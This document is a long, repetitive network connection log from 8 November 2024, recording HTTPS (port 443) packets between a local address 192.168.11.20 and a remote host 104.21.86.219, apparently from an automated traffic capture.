                                                                                                                                          Nov 8, 2024 11:28:33.561423063 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.561650991 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.561665058 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.561813116 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.561923981 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.564714909 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.564727068 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.564949989 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.564960957 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.565026045 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.565171957 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.567234993 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.567248106 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.567439079 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.567449093 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.567553997 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.567683935 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.570120096 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.570132017 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.570296049 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.570296049 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.570393085 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.570400000 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.570543051 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.570645094 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.583508968 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.583528042 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.583710909 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.583720922 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.583785057 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.583791018 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.583909035 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.583915949 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.584022999 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.584036112 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.584114075 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.584225893 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.584269047 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.584278107 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.584399939 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.584528923 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.585918903 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.585931063 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.586078882 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.586247921 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.586256981 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.588691950 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.588710070 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.588876009 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.588887930 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.589076042 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.591562986 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.591574907 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.591799974 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.591806889 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.591902971 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.595176935 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.595191956 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.595335960 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.595347881 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.595530033 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.600980997 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.601000071 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.601120949 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.601214886 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.601326942 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.601326942 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.601336002 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.601470947 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.601574898 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.605916977 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.605935097 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.606123924 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.606132030 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.606215954 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.606359005 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.608400106 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.608419895 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.608623981 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.608638048 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.609347105 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.609347105 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.610254049 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.610272884 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.610569954 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.610579967 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.610716105 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.610805035 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.613208055 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.613224983 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.613431931 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.613442898 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.613493919 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.613626957 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.616590977 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.616611004 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.616734982 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.616849899 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.616859913 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.616915941 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.617046118 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.619586945 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.619612932 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.619735956 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.619797945 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.619807005 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.619970083 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.631757975 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.631778955 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.631962061 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.631968975 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.632067919 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.632086992 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.632086039 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.632098913 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.632148981 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.632160902 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.632297039 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.632364988 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.632375956 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.632507086 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.677083969 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.681123972 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.681142092 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.681215048 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.681438923 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.681451082 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.681463957 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.681607008 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.681998014 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.682015896 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.682168961 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.682231903 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.682243109 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.682385921 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.682440042 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.685667038 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.685686111 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.685843945 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.685914993 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.685925961 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.686002016 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.686160088 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.687710047 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.687819958 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.687951088 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.687966108 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.688299894 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.690462112 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.690480947 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.690785885 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.690798998 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.691109896 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.696198940 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.696214914 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.696449995 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.696460962 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.696532011 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.696715117 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.704663038 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.704679012 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.704731941 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.704834938 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.705007076 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.705015898 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.705092907 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.705111027 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.705121040 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.705198050 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.705207109 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.705423117 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.705495119 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.705650091 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.705663919 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.705851078 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.705982924 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.705991983 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.709007978 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.709024906 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.709218979 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.709228039 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.709233999 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.709348917 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.711858034 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.711872101 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.712013960 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.712024927 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.712105036 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.712222099 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.714715004 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.714729071 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.714939117 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.715046883 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.715055943 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.717938900 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.717955112 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.718157053 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.718166113 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.718280077 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.729139090 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.729151964 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.729401112 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.729412079 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.729459047 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.729536057 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.729552031 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.729617119 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.729760885 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.729760885 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.729772091 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.729815006 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.729983091 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.729991913 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.730079889 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.730408907 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.733589888 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.733603954 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.733982086 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.733990908 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.734059095 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.734173059 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.736196995 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.736211061 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.736541986 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.736552000 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.736713886 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.739063025 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.739077091 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.739301920 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.739310980 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.739371061 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.739494085 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.744246006 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.744261026 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.744621038 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.744631052 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.744942904 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.751127958 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.751146078 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.751324892 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.751377106 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.751389027 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.751441002 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.751622915 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.751633883 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.751676083 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.751750946 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.751759052 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.751832008 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.752042055 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.755033016 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.755050898 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.755328894 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.755341053 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.755423069 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.757808924 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.757828951 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.758002996 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.758014917 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.758106947 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.758249998 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.760672092 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.760689974 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.760834932 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.760988951 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.761001110 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.764066935 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.764089108 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.764256001 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.764267921 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.764388084 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.764400959 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.767453909 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.767472982 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.767616034 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.767798901 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.767810106 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.777488947 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.777509928 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.777750015 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.777764082 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.777827024 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.777848959 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.777865887 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.778131008 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.778131008 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.778143883 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.778420925 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.778522015 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.779186010 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.779203892 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.779356003 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.779448032 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.779459000 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.779588938 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.779747009 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.782044888 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.782063007 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.782306910 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.782319069 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.782375097 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.782635927 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.784964085 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.784981966 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.785218954 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.785231113 CET44349734104.21.86.219192.168.11.20
